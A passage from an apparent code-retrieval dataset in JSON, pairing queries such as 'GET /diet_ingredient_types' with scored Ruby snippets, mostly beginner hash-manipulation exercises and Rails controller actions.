key is present, increment its value by 1\n else\n hash[key]=1 # if the provided key is not present in the hash, add it and assign it to the value of 1\n end\n hash #return an updated hash\nend", "title": "" }, { "docid": "e9cc5799691f613a4c74edf9f0cab747", "score": "0.58012915", "text": "def update_quantity(input_hash, item, qty)\n# steps: use input item as key and input quantity as value\n# output: hash\n input_hash[item] = qty\n\nreturn input_hash\nend", "title": "" }, { "docid": "5265bed4f58c8f58733f9a0372c70b7a", "score": "0.57978183", "text": "def change_qty(list, item, qty)# input: Hash, Item to be updated, number to change the quantity to\r\n list[item] = qty # steps: Identify input with element in hash and update quantity\r\n #print_list(list)#for testing\r\n return list # output: Updated hash\r\nend", "title": "" }, { "docid": "0353f82e4835653e99d0e43d46e9b58c", "score": "0.5788991", "text": "def update_counting_hash(hash, key)\n if hash[key]\n hash[key] += 1\n else hash[key] = 1\n end\n hash\nend", "title": "" }, { "docid": "e35f1d6169ba27f93cf20a8db3c12a9b", "score": "0.5776907", "text": "def increasevolume(cohort) #take hash students as argument \n\tcohort.each do |key, value|\n\t\tcohort[key] = value * 1.05 #increase value by 5%\n\t\t\n\tend \n\treturn cohort\n\t#return new_value\nend", "title": "" }, { "docid": "c11ab194252e21ed5f61e3a637a8cad0", "score": "0.57379544", "text": "def get_double_age(hash)\n\thash[\"age\"] *= 2\n return hash[\"age\"]\nend", "title": "" }, { "docid": "3298c6ee246356d565a060df460aa46b", "score": "0.573605", "text": "def fix_hash(hash, stressor, employees)\n temp_hash = hash.dup\n count = temp_hash.values.sum\n if stressor & employees\n stressor_hash = hash.dup\n stressor_hash.each do |key, value|\n stressor_hash[key] = value.to_f/employees * 100\n end\n end\n temp_hash[:\"count\"] = count\n temp_hash.each do |key, value|\n temp_hash[key] = value.to_f/temp_hash[:\"count\"] * 100\n end\n if stressor\n return {original: temp_hash, stressor: stressor_hash}\n else\n return temp_hash\n end\nend", "title": "" }, { "docid": "03cb6cb4554f08b969f5d6800cac5b83", "score": "0.5722413", "text": "def update(other_hash)\n touch\n other_hash.each_pair { |k,v|\n set(k,v)\n }\n end", "title": "" }, { "docid": "5529bad50e834d71724ed47a2a2ae0ab", "score": "0.57201475", "text": "def add_age_range(hash)\n hash.each do |_, value|\n case value[\"age\"]\n when (0..17)\n value[\"age_group\"] = \"kid\"\n when (18..64)\n value[\"age_group\"] = \"adult\"\n else\n value[\"age_group\"] = \"senior\"\n end\n end\nend", "title": "" }, { "docid": "50b4857e661acbe3c6f1582573b300b5", "score": "0.5699469", "text": "def update_counting_hash(hash, key)\n if hash[key]\n hash[key] += 1\n else\n hash[key] = 1\n end\n return hash\nend", "title": "" }, { "docid": "0f0985cdedd658e00fde13b4e1f0832b", "score": "0.56897557", "text": "def update_counting_hash(hash, key)\n if hash[key]\n hash[key] += 1\n else\n hash[key] = 1\n end\n hash\nend", "title": "" }, { "docid": "cd6aaf74825d789b0bad570b2a340723", "score": "0.56814337", "text": "def update(hash) hash.each {|k, v| self[k] = v }; self end", "title": "" }, { "docid": "d1f58e1ad3f84bc0bc40e72cf32575e5", "score": "0.5673622", "text": "def update_counting_hash(hash, key)\n if hash[key]\n hash[key] += 1\n else\n hash[key] = 1\n end\n return hash\nend", "title": "" }, { "docid": "59a99b95973c97e257f2b3a13a2e4e5f", "score": "0.56684685", "text": "def my_array_modification_method(source, thing_to_modify)\n\nI chose the Ruby each method because it works with both arrays and hashes. It iterates through each element in the i_want_pets array to\nisolate the Integer and add the 'thing_to_modify' parameter. For the my_hash_modification_method I iterated through each key-value pair\nto add the 'thing_to_modify' to every value. \n\n final = []\n source.each do |thing|\n if thing.is_a? Integer \n final << thing + thing_to_modify \n else\n final << thing\n end\n end\n final\nend", "title": "" }, { "docid": "439665fe8f8b4bd4e076a098f5bde01c", "score": "0.5646041", "text": "def update_counting_hash(hash, key)\n hash[key] ? hash[key] += 1 : hash[key] = 1# if the provided key is not present in the hash, add it and assign it to the value of 1\n hash # if the provided key is present, increment its value by 1\nend", "title": "" }, { "docid": "f101bdfa107cf9b7b9e0b5027faac3d3", "score": "0.56449676", "text": "def increase_size(hash, multiply)\n\thash.each do |key,value|\n\t\thash[key] = ((value*multiply).to_i)\n\tend\nend", "title": "" }, { "docid": "7371d9956d1305fbdbdcd620da3d4832", "score": "0.5642598", "text": "def increase_pets_sold (pets_sold, amount)\n# get current pet number\n current_sold = pets_sold[:admin][:pets_sold]\n# set new value\n increase_pets_sold = current_sold + amount\n#return new value\n pets_sold[:admin][:pets_sold] = increase_pets_sold\nend", "title": "" }, { "docid": "d0d59c7ef3ab3e049918da6c31eb2bf8", "score": "0.56422627", "text": "def incrby(key, increment); end", "title": "" }, { "docid": "d0d59c7ef3ab3e049918da6c31eb2bf8", "score": "0.56422627", "text": "def incrby(key, increment); end", "title": "" }, { "docid": "1b9828efe8bc9e6242fc6c25aba0bbaf", "score": "0.5633615", "text": "def update_counting_hash(hash, key)\n if hash[key]\n hash[key] += 1\n else\n hash[key] = 1\n end\nreturn hash\nend", "title": "" }, { "docid": "c2ee3a4ed9e4589347d4dd78ec5b87e9", "score": "0.561919", "text": "def change(list_hash, food, quantity=1)\r\n list_hash[food] = quantity\r\nend", "title": "" }, { "docid": "9cdb8d7252025217e956cf9ab71cbd73", "score": "0.5615112", "text": "def get_double_age(hash)\r\n return hash[\"age\"] * 2\r\nend", "title": "" }, { "docid": "d95276fe419daa6fa5713438fbbeb5fe", "score": "0.55983853", "text": "def class_expand(hash)\n hash.each do |key, value|\n hash[key] = value.to_i. * 1.05\n puts value\n end\nend", "title": "" }, { "docid": "72ea8f125911ce3e41338d8541e0da33", "score": "0.5587271", "text": "def update_list(hash, item, quantity)\r\n# input: hash, item name and new quantity\r\n# steps:\r\n\t#check to see if item exists\r\n\t# Change the value of the corresponding item key to new quantity\r\n\tif hash.has_key?(item)\r\n\t\thash[item] = quantity\r\n\telse puts \"ERROR: item does not exist\"\r\n\tend\t\r\n# output: hash with updated quantity\r\n\thash\r\nend", "title": "" }, { "docid": "0c5776d972a6d2d4e8decbbedd127e0f", "score": "0.55845684", "text": "def wrong_year(hash)\n\thash.each do |key, input|\n\t\thash[key] = input - 3\n\tend\nend", "title": "" }, { "docid": "bd16be230ea994fa4f2c2d11e74c646f", "score": "0.55513036", "text": "def increase_pets_sold(pet_shop_hash, new_pets)\n total_pets = pets_sold(pet_shop_hash)\n new_total_of_pets = total_pets + new_pets\n pet_shop_hash[:admin][:pets_sold] = new_total_of_pets\nend", "title": "" }, { "docid": "eef3ed76190f995d37069aaf4c0b13af", "score": "0.5551239", "text": "def get_double_age(hash)\n return hash[\"age\"] * 2\nend", "title": "" }, { "docid": "b11d0cf2ce74479bc4466af1cd2cbf76", "score": "0.5547074", "text": "def update_counting_hash(hash, key)\n hash[key] ? hash[key] += 1 : hash[key] = 1\n hash\nend", "title": "" }, { "docid": "55fa4e2f2e9eef51b8b70773ee2f329e", "score": "0.55423254", "text": "def get_double_age(hash)\n double_age = hash[\"age\"] * 2\n return double_age\nend", "title": "" }, { "docid": "f92b0940775c0b86309b239482ad244c", "score": "0.55373687", "text": "def feed_reward(player, reward)\n player[:states].reverse.each do |state|\n player[:states_value][state.to_s] ||= 0\n player[:states_value][state.to_s] += (player[:lr] * (player[:decay_gamma] * reward - player[:states_value][state.to_s]))\n end\nend", "title": "" }, { "docid": "652012d9d1714abfe26e492ef57a3ce9", "score": "0.5529033", "text": "def hash_sum(hash)\n total = 0\n hash.each {|k, v| total += v}\n total\nend", "title": "" }, { "docid": "bcd304b9eaa9e9468dac07b6be46e2fb", "score": "0.5520209", "text": "def update_hash\n base = @previous_blockhash ? 0 : @previous_blockhash\n base = @merkle_roothash + @nonce + @difficulty\n @hashid = PONY.Sha256(base.to_s).to_i(16)\n end", "title": "" }, { "docid": "bcd304b9eaa9e9468dac07b6be46e2fb", "score": "0.5520209", "text": "def update_hash\n base = @previous_blockhash ? 0 : @previous_blockhash\n base = @merkle_roothash + @nonce + @difficulty\n @hashid = PONY.Sha256(base.to_s).to_i(16)\n end", "title": "" }, { "docid": "622e7e1d00c9a0605419cf233d1076b0", "score": "0.55116534", "text": "def total(hash)\n sum = 0\n hash.each do |x, y|\n sum += y\n end\n puts sum\nend", "title": "" }, { "docid": "c925afd253601dc54565e926ad9f1e8d", "score": "0.54996276", "text": "def update_quantity(quantity,hash_list,items)\n items.each do |i|\n hash_list[i] += quantity\n end\nend", "title": "" }, { "docid": "af2dbc6ff788a6b513c56a10e378d9af", "score": "0.54695153", "text": "def update (hash, item, quantity= 0)\n\thash[item] = quantity\nreturn hash\nend", "title": "" }, { "docid": "f17525b4ece3312a33f02f3b5907e4c3", "score": "0.54690886", "text": "def add_item(hash, item, quantity)\n hash[item] = hash[item].to_i + quantity\n hash\nend", "title": "" }, { "docid": "230f3881a5a4c26ed8496cc14a724c54", "score": "0.546749", "text": "def total_number(hash)\n sum = 0\n hash.each do |key, value|\n sum += value\n end\n puts \"Total sum of the students is #{sum}\"\nend", "title": "" }, { "docid": "068e9885dffffd026afa5afad3650222", "score": "0.5464098", "text": "def update_quantity(hash, item, number)\n hash[item] = number\n hash\nend", "title": "" }, { "docid": "e50767acf2901ac234bc7d9ba2e164da", "score": "0.5450829", "text": "def process_hash_merge hash, args\n hash = hash.deep_clone\n hash_iterate args do |key, replacement|\n hash_insert hash, key, replacement\n end\n hash\n end", "title": "" }, { "docid": "3dec1bd09706b701e12edfcbfc86e428", "score": "0.54423326", "text": "def shallow_update(other_hash); end", "title": "" }, { "docid": "26e72a04e89efa3b765a32f4ea409279", "score": "0.54415065", "text": "def update_quantity(list, thing, quantity)\n# steps: for designated key, reassign value to new quantity\n list[thing.to_sym] = quantity\n# output: Array with revised value\n list\nend", "title": "" }, { "docid": "e9cd4dcd8d1e95c6b3a41f0455d780a9", "score": "0.54401696", "text": "def get_double_age(hash)\n return hash[\"name\"] * 2\n\nend", "title": "" }, { "docid": "16b9a41035287d5708fed05ad5cd8a8e", "score": "0.5439621", "text": "def increase_cohort_size(hash)\n\thash.each do |key, value|\n\t\tvalue *= 1.05\n\t\tputs \"#{key}: #{value} students\"\n\tend\n\t\nend", "title": "" }, { "docid": "453505f7448bdd4890fa716c71852eff", "score": "0.5436053", "text": "def final_letter_grades(grade_hash)\n\nnew_hash { }\ngrade_hash.each do |key, value|\n new_hash[key] = letter_grade((value.reduce){|sum, num| sum + num}) / value.length)\nend\n new_hash\nend", "title": "" }, { "docid": "262457eee8dd218056031c6c5f0d19b6", "score": "0.54280955", "text": "def update(item, quantity, hash)\n hash[item] = quantity\n hash\nend", "title": "" }, { "docid": "215fd2eaacdfdb66b5814b992f4f1f0e", "score": "0.54264015", "text": "def inject(hash); end", "title": "" }, { "docid": "607aa60d9e7829f075bc10ac9b796c2f", "score": "0.54262245", "text": "def update_counting_hash(hash, key)\n hash[key] ? hash[key] += 1 : hash[key] = 1 # ternary operator - boolean conditional to evaluate ? if true do this : if false do that\n hash #always try returning !!! whenever you change\nend", "title": "" }, { "docid": "50d0fa2ac1af470bc1a46fabb8906e12", "score": "0.54206395", "text": "def inc(hash, key)\n hash[key] ||= 0\n hash[key] += 1\nend", "title": "" }, { "docid": "e2094b17edf44f6e22da3c64e9aaf27f", "score": "0.5390816", "text": "def update_quantity(hash, key, value)\n\thash[key] = value\n\treturn hash\nend", "title": "" }, { "docid": "f2ba7fbb315aa33516bab976715e5818", "score": "0.5373933", "text": "def update_item(hash, item, num)\n hash[item] = num\nend", "title": "" }, { "docid": "18dc32e7c6173e461390afd69e71c511", "score": "0.53737766", "text": "def new_value_calc(h_team, a_team, hash, result, h_goals, a_goals)\n\n match_numbers = 5\n\n h_team_current_elo = hash[h_team][hash[h_team].length - 1] * 1.00\n a_team_current_elo = hash[a_team][hash[a_team].length - 1] * 1.00\n\n if hash[h_team].length > match_numbers\n h_team_elo = h_team_current_elo - hash[h_team][hash[h_team].length - match_numbers] * 1.00\n else\n h_team_elo = h_team_current_elo\n end\n\n if hash[a_team].length > match_numbers\n a_team_elo = a_team_current_elo - hash[a_team][hash[a_team].length - match_numbers] * 1.00\n else\n a_team_elo = a_team_current_elo\n end\n\n\n # goal_difference = 1.30**goal_difference(h_goals, a_goals)\n goal_difference = 1\n\n h_expected = expected_output(h_team_elo, a_team_elo)\n a_expected = expected_output(a_team_elo, h_team_elo)\n\n #THESE NUMBERS DETERMINE THE PREDICTION PERCENTAGE, AMONG OTHER THINGS\n coefficent_k = 18.00\n coefficent_win = 1.00\n coefficent_draw = 0.40\n coefficent_loss = 0.00\n\n # p h_team_elo + coefficent_k * (coefficent_win - h_expected)\n predicted_correctly = false\n\n if result == \"H\"\n hash[h_team] << h_team_elo + coefficent_k * (coefficent_win - h_expected) * goal_difference\n hash[a_team] << a_team_elo + coefficent_k * (coefficent_loss - a_expected) * goal_difference\n \n if h_team_elo > a_team_elo\n predicted_correctly = true\n end\n elsif result == \"A\"\n hash[h_team] << h_team_elo + coefficent_k * (coefficent_loss - h_expected) * goal_difference\n hash[a_team] << a_team_elo + coefficent_k * (coefficent_win - a_expected) * goal_difference\n\n if a_team_elo > h_team_elo\n predicted_correctly = true\n end\n\n elsif result == \"D\" \n hash[h_team] << h_team_elo + coefficent_k * (coefficent_draw - h_expected) * goal_difference\n hash[a_team] << a_team_elo + coefficent_k * (coefficent_draw - a_expected) * goal_difference\n\n #IS HOW LENIENT WE ARE WHEN COUNTING WITH DRAWS\n #40 GIVES A 55/45 WIN\n coefficent_draw_leniency = 40\n\n if (a_team_elo - h_team_elo).abs < coefficent_draw_leniency\n predicted_correctly = true\n end\n\n end\n\n # p hash[h_team]\n\n return hash, predicted_correctly\nend", "title": "" }, { "docid": "70e8e8129b7ac0d085db6fc9f1c925d8", "score": "0.5363206", "text": "def hash\n source.hash ^ (target.hash + 1)\n end", "title": "" }, { "docid": "bc48c5fa53f4550241a9eed7950b53d1", "score": "0.5361118", "text": "def update_quantity(hash_name, hash_key, int)\n\thash_name[hash_key] = int \n\tprint_grocery_list(hash_name)\nend", "title": "" }, { "docid": "bfd2b1b4d80b235fe330d7480f027036", "score": "0.53607965", "text": "def method9(array)\n\thash = array.inject({}) {|a,i| a.update(i => i)}\n\tputs hash\n\n\thash_within_hash = array.inject({}) {|a,i| a.update(i => a)}\n\tputs hash_within_hash\nend", "title": "" }, { "docid": "e4a7888faeca3eb2d2e09ec604e3269e", "score": "0.53522617", "text": "def get_double_age(hash)\n # Write your code here\nend", "title": "" }, { "docid": "0c5503899748eda995ec0e6b8bbfd51b", "score": "0.53507864", "text": "def update(hash, item, quantity=1)\n hash[item] = quantity\n hash\nend", "title": "" }, { "docid": "01c639f752332e68c60dc376c8a4813e", "score": "0.5333432", "text": "def quantity_update(list_hash, grocery_item, adjusted_qty)\n# steps: iterate through the list(hash) and replace the value of the key/value pair\n\tlist_hash.each{|item,qty| list_hash[grocery_item] = adjusted_qty}\nend", "title": "" }, { "docid": "7fdbbacd33eb55fd8e3d24c47d6c22c1", "score": "0.53328115", "text": "def modify_driver_hash(ride_hash, drivers_hash)\n drivers_hash[ride_hash[:driver_id]][:num_rides_given] += 1\n drivers_hash[ride_hash[:driver_id]][:total_amt_made] += ride_hash[:cost]\n drivers_hash[ride_hash[:driver_id]][:total_of_ratings] += ride_hash[:rating]\nend", "title": "" } ]
745a1fdc8602e50f61e3871dcde0c823
GET /diet_ingredient_types GET /diet_ingredient_types.json
[ { "docid": "d167d096a36099f065f94941c8c894cc", "score": "0.72700024", "text": "def index\n @diet_ingredient_types = DietIngredientType.all\n end", "title": "" } ]
[ { "docid": "f8722fa4d0ebf102be1ebdee6987edf6", "score": "0.7087955", "text": "def ingredient_data\n respond_to do |format|\n format.json { render json: helpers.get_ingredient(params[:ingredient_type], params[:ingredient_id]) }\n end\n end", "title": "" }, { "docid": "cfaecbf1aae04586af19fb2f260addef", "score": "0.67792976", "text": "def set_diet_ingredient_type\n @diet_ingredient_type = DietIngredientType.find(params[:id])\n end", "title": "" }, { "docid": "84fc7ea428425aed929b1b0eb24ad008", "score": "0.6719155", "text": "def diet_ingredient_type_params\n params.require(:diet_ingredient_type).permit(:diet_id, :ingredient_type_id)\n end", "title": "" }, { "docid": "b76dc2c288ff232c6c24af9cabff3f88", "score": "0.66745824", "text": "def pet_types\r\n BnetApi::make_request('/wow/data/pet/types')\r\n end", "title": "" }, { "docid": "079a46e457f8a4ecf53a6c2baff2b658", "score": "0.6208379", "text": "def ingredients_by_recipe\n recipe = Recipe.find(params[:id])\n render json: recipe.ingredients\n end", "title": "" }, { "docid": "b14f2dbe334b034f1bac6ad31ca20f9e", "score": "0.6205306", "text": "def index\n @ingredientes = Ingrediente.all\n end", "title": "" }, { "docid": "b14f2dbe334b034f1bac6ad31ca20f9e", "score": "0.6205306", "text": "def index\n @ingredientes = Ingrediente.all\n end", "title": "" }, { "docid": "e8f896014b373ca98fd9abb15856ad75", "score": "0.61360663", "text": "def list_ingredients\n rid = params[:id]\n items = Aws.get_ingredients_from_db(rid)\n render :json => items\n end", "title": "" }, { "docid": "daa916b23cdbc65d9014d5cae56cbb33", "score": "0.6103938", "text": "def index\n types = @user.tried_beer_ratings.last.beer_types.map do |type|\n {name: type.name, description: type.beg_description}\n end\n render json: types\n end", "title": "" }, { "docid": "d2d33e40907a676c11d3400e2e575a02", "score": "0.6060651", "text": "def by_ingredient\n # If ingredient exists, find recipes that use it\n if Ingredient.exists?(params[:id])\n ingredient = Ingredient.find(params[:id])\n recipes = Recipe.recipes_of_ingredient(params[:id])\n else\n recipes = Recipe.all\n end\n\n # Render json\n render json: {recipes: recipes}, status: 200 \n end", "title": "" }, { "docid": "135d06f93cee15df06c35192fe41fc03", "score": "0.6034433", "text": "def index\n @recipe_types = RecipeType.all\n end", "title": "" }, { "docid": "a28f3d672edbde06ad5bd69fb5ca6e4e", "score": "0.59784293", "text": "def index\n @food_type_id = @foodTypes.first\n\n if params['type']\n @foods = Food.includes(:type).includes(:nutritional_information).where( type_id: params['type']['type_id']).paginate(page: params[:page])\n else\n @foods = Food.includes(:type).includes(:nutritional_information).where( type_id: @food_type_id).paginate(page: params[:page])\n end\n\n respond_with @foods\n end", "title": "" }, { "docid": "54b3552bb9bf16158b077a066da51789", "score": "0.5953531", "text": "def show\n @recipe_ingredient = Recipe_ingredient.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @recipe_ingredient }\n end\n end", "title": "" }, { "docid": "048d479abe1b13fe4edd9d19424fc5a1", "score": "0.5900496", "text": "def index\n @weapon_types = WeaponType.all\n\n render json: @weapon_types\n end", "title": "" }, { "docid": "fa5b36d7871e515c9868f34b38ce10b9", "score": "0.58427167", "text": "def types\n types = Question.distinct.pluck(:type)\n render json: types.to_a\n end", "title": "" }, { "docid": "1df25172eaa1592ad16f259766af745f", "score": "0.5831685", "text": "def show\n @recipe = Recipe.find(params[:id])\n @recipeIngredients = RecipeIngredient.where(:recipeId => params[:id])\n @ingredients = Ingredient.where(:id => @recipeIngredients.select(:ingredientId))\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @recipe }\n end\n end", "title": "" }, { "docid": "c2d660c2488d05ee92d30bdbc7b05652", "score": "0.58224994", "text": "def index\n @equipament_types = EquipamentType.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @equipament_types }\n end\n end", "title": "" }, { "docid": "0bb060056c186e0a76174889d5aff4ae", "score": "0.582059", "text": "def show\n @ingredient = Ingredient.find_by_url_slug(params[:id])\n @ingredient = Ingredient.find(params[:id]) if @ingredient.nil?\n @recipes = @ingredient.recipes.order('created_at DESC')\n logger.debug @recipes.inspect\n respond_to do |format|\n format.html {render :layout => 'wall'}\n format.json { render json: @ingredient }\n end\n end", "title": "" }, { "docid": "995fa7d24019821579b112187abd9a69", "score": "0.581627", "text": "def get_fuel_types\n relatable_category_id = params[:car_calculator][:manufacture]\n result = CarApp.calculated_session.related_categories_from_relatable_category(relatable_category_id, \"fuel_type\") \n final_result = []\n result = result.each_pair do |key, value| \n final_result << {:name => value, :value => key}\n end\n render :json => {:options => final_result}.to_json\n end", "title": "" }, { "docid": "d0da6ec25712c708678ff1370bd7552e", "score": "0.58128005", "text": "def new\n @recipeingredient = Recipe_ingredient.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @recipe_ingredient }\n end\n end", "title": "" }, { "docid": "2ac8c16b2d23c15030056655e5f26ce7", "score": "0.58120054", "text": "def show\n @recipe_ingredient = RecipeIngredient.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @recipe_ingredient }\n end\n end", "title": "" }, { "docid": "8d176b2131379f125d5cd571d5100ded", "score": "0.58113223", "text": "def new\n @ingredient = Ingredient.new\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @ingredient }\n end\n end", "title": "" }, { "docid": "45ea7f8d48be035186ea06c684308aea", "score": "0.58046865", "text": "def create\n @diet_ingredient_type = DietIngredientType.new(diet_ingredient_type_params)\n\n respond_to do |format|\n if @diet_ingredient_type.save\n format.html { redirect_to @diet_ingredient_type, notice: 'Diet ingredient type was successfully created.' }\n format.json { render :show, status: :created, location: @diet_ingredient_type }\n else\n format.html { render :new }\n format.json { render json: @diet_ingredient_type.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "2bed1d9677ef72fa4d9be59ea195d818", "score": "0.5744283", "text": "def index \n ingredients = Ingredient.all\n #render will return the object back in json format so that it can be used by the frontend\n render json: ingredients\n end", "title": "" }, { "docid": "226f5a11939e911c54a546beb03070af", "score": "0.57439035", "text": "def get_lesson_types\n get \"lessonTypes.json\"\n end", "title": "" }, { "docid": "80bcaa3d4abecacb0d8d0c265c35da05", "score": "0.57134193", "text": "def index \n recipeIngredients = RecipeIngredient.all\n #render will return the object back in json format so that it can be used by the frontend\n render json: recipeIngredients\n end", "title": "" }, { "docid": "dc329721dea1bd4cd7aa7781bb9170da", "score": "0.57012373", "text": "def index\n @recipe_types = RecipeType.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @recipe_types }\n end\n end", "title": "" }, { "docid": "9bb9ce06ff6ab9772185cb64d1a8ed88", "score": "0.5674946", "text": "def get_hotel_facility_types(request_parameters)\r\n http_service.request_get(\"/json/bookings.getHotelFacilityTypes\", request_parameters)\r\n end", "title": "" }, { "docid": "c1220f0c83a8ebc8f3e02f09c7467579", "score": "0.5661382", "text": "def index\n recipe_items = current_user.recipes.includes(recipe_items: :ingredient).find(params[:recipe_id]).recipe_items\n render json: { recipe_items: recipe_items}.to_json(include: :ingredient), status: :ok\n end", "title": "" }, { "docid": "d59e69de954335a0425dc38a9cc5b8fa", "score": "0.56600136", "text": "def index\n @ingredients_nutrients = IngredientsNutrient.all\n end", "title": "" }, { "docid": "a33f931e967a21fe62b2445dd77fc7b8", "score": "0.5643405", "text": "def show\n @ingredients_name = IngredientsName.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @ingredients_name }\n end\n end", "title": "" }, { "docid": "30b645375c086fb0e53ac93a266b6c97", "score": "0.5639909", "text": "def show\n params.require(%i[id])\n render json: Ingredient.find_by!(id: params[:id])\n end", "title": "" }, { "docid": "6645fd236ccbb23d5508ac73c0d16661", "score": "0.5619504", "text": "def index\n @weapons_types = WeaponsType.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @weapons_types }\n end\n end", "title": "" }, { "docid": "af6ec53ba13a068dc8155bbc36de0ced", "score": "0.5617369", "text": "def recipes # /v1/user/:id/recipes (GET)\n recipes = ::Recipe.all\n render json: recipes, :each_serializer => RecipeSmallSerializer, root: false, status: 200\n end", "title": "" }, { "docid": "b808a5f4a39801df716452cfde5d282c", "score": "0.56133384", "text": "def index\n @title = \"Типы лечения\"\n @treatment_types = TreatmentType.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @treatment_types }\n end\n end", "title": "" }, { "docid": "1e8b3b20ed8a0ef55b2aed4ae3b69ed8", "score": "0.55835843", "text": "def index\n @type_foods = TypeFood.all\n end", "title": "" }, { "docid": "ea0e41b95898e5d2e6de721b22c295b2", "score": "0.55786926", "text": "def index\n @types = Type.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @types.lookup(params[:q]) }\n end\n end", "title": "" }, { "docid": "b911df536e0439e132470139efd43dd8", "score": "0.5578591", "text": "def drink\n @drinks = Item.select {|k,v| k.product_type_id == 4 }\n \n respond_to do |format|\n #format.html # index.html.erb\n format.json { render json: @drinks, :only => [:id, :name, :description, :price, :time], :include => {:product_type => { :only => [:id, :name]}}}\n end\n end", "title": "" }, { "docid": "4621fdc6a0cb0d0a5d92b52f9f5629fb", "score": "0.55769783", "text": "def set_type\n @type = IngredientType.find(params[:id])\n end", "title": "" }, { "docid": "4686f8f141bf20c993b5ceb001a4a8ce", "score": "0.5558981", "text": "def show\n @types_of_apprenticeship = TypesOfApprenticeship.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @types_of_apprenticeship }\n end\n end", "title": "" }, { "docid": "a33b46c120b0c80e36cd7c530e836298", "score": "0.5554618", "text": "def get_available_types_from_usage(usage) #TODO: Research use\n return @client.raw(\"get\", \"/helpers/available-types/#{usage}\")\n end", "title": "" }, { "docid": "908b9b919e049073e46c71f0195fb259", "score": "0.555064", "text": "def new\n @recipe_ingredient = RecipeIngredient.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @recipe_ingredient }\n end\n end", "title": "" }, { "docid": "2704b7d6157d74e75db03710a3080bb9", "score": "0.5542048", "text": "def ride_types(args = {})\n make_request(\n http_method: :get,\n endpoint: path_for(:ride_types),\n access_token: args.delete(:access_token),\n options: { query: args }\n )\n end", "title": "" }, { "docid": "8d9800b4d4b3ffe7d52b016221f1af60", "score": "0.55409116", "text": "def get_types(pokemon)\n pokemon_types = {}\n case pokemon['types'].size\n when 1\n pokemon_types[:type1] = pokemon['types'][0]['type']['name']\n when 2\n pokemon_types[:type1] = pokemon['types'][0]['type']['name']\n pokemon_types[:type2] = pokemon['types'][1]['type']['name']\n end\n pokemon_types\nend", "title": "" }, { "docid": "a0620cde0914c1323e156d412785b028", "score": "0.55301166", "text": "def index\n @ingredient_recipes = IngredientRecipe.all\n end", "title": "" }, { "docid": "d5e8c829a68e52eb05bc6ac04d1f7003", "score": "0.5520518", "text": "def index\n @taxonomies = Taxonomy.find_all_by_taxonomy_type(params[:taxonomy_type].presence || 'category')\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @taxonomies }\n end\n end", "title": "" }, { "docid": "fbee871778b4fc4fd690ef6965b59670", "score": "0.55182004", "text": "def update\n respond_to do |format|\n if @diet_ingredient_type.update(diet_ingredient_type_params)\n format.html { redirect_to @diet_ingredient_type, notice: 'Diet ingredient type was successfully updated.' }\n format.json { render :show, status: :ok, location: @diet_ingredient_type }\n else\n format.html { render :edit }\n format.json { render json: @diet_ingredient_type.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "d0301687b65363c8f2a935a7d7711199", "score": "0.5511354", "text": "def show\n render json: @weapon_type\n end", "title": "" }, { "docid": "588a5577f50c298a801bcbcf17f4df30", "score": "0.5495906", "text": "def show\n if ingredient\n render json: ingredient\n else \n render json: {message: 'Ingredient not found'}\n end\n end", "title": "" }, { "docid": "bd15d291bfeb82f93013955c1573778d", "score": "0.54946584", "text": "def index\n @gift_types = GiftType.all\n end", "title": "" }, { "docid": "5f188d2c263421e363caf3c6788fc46d", "score": "0.5483865", "text": "def type\n read_attribute(:type) || Figaro.env.meal_types.split.first\n end", "title": "" }, { "docid": "c72d1e8ee0a87a392a3d1155bb5aa739", "score": "0.54789776", "text": "def type\n fetch('restaurant.type')\n end", "title": "" }, { "docid": "6ef6c5ef5810b276dc78b363b53a29a3", "score": "0.5476532", "text": "def getRecipeByIngredientsList\n begin\n ingredientsList = params[:ingredients].split(\",\")\n\n @recipe = []\n ingredientsList.each do |ingredient|\n @recipe.push(Recipe.where('ingredients ILIKE ?', '%'+ingredient+'%').all)\n end\n \n if !@recipe.empty?\n render json: { status: 'SUCCESS', message: 'Loaded recipe!', data: @recipe }, status: :ok\n else\n render json: { status: 'SUCCESS', message: 'No recipe found', data: {} }, status: :not_found\n end\n rescue\n render json: { status: 'ERROR', message: 'Error loading recipe', data: {} }, status: :not_found\n end\n end", "title": "" }, { "docid": "d109b033e46a5764f08301a81556e19f", "score": "0.547322", "text": "def index\n type = params[:type]\n fg = params[:fg]\n @page = Page.find(2)\n @foodTypes = FoodType.all\n @type_id = type\n\n @foods = Food.find_by_sql([\"SELECT * FROM FOODS WHERE food_type_id = ?\", type])\n\n \n @foods = Food.find_by_sql(\"SELECT * FROM FOODS WHERE important = 't'\") if !params.has_key?(:type)\n \n \n if !fg.nil?\n @front_food = Food.find(fg) \n end if\n \n \n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @foods }\n end\n end", "title": "" }, { "docid": "f45e973e61c52bbdcdf2e876e44ad0b9", "score": "0.54686946", "text": "def index\n @recipes = Recipe.all\n respond_to do |format|\n format.html {}\n format.json { render json: @recipes }\n end\n end", "title": "" }, { "docid": "8b56a2953f611f77dedbdd8013b7863d", "score": "0.54635876", "text": "def index\n @ingredients = Ingredient.all\n end", "title": "" }, { "docid": "8b56a2953f611f77dedbdd8013b7863d", "score": "0.54635876", "text": "def index\n @ingredients = Ingredient.all\n end", "title": "" }, { "docid": "e04fdc92eb9361e1b4d133c9ed54c2d6", "score": "0.5451727", "text": "def index\n @practitioner_types = PractitionerType.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @practitioner_types }\n end\n end", "title": "" }, { "docid": "137bd91b9f54692e6a71e2594e6f9974", "score": "0.54456675", "text": 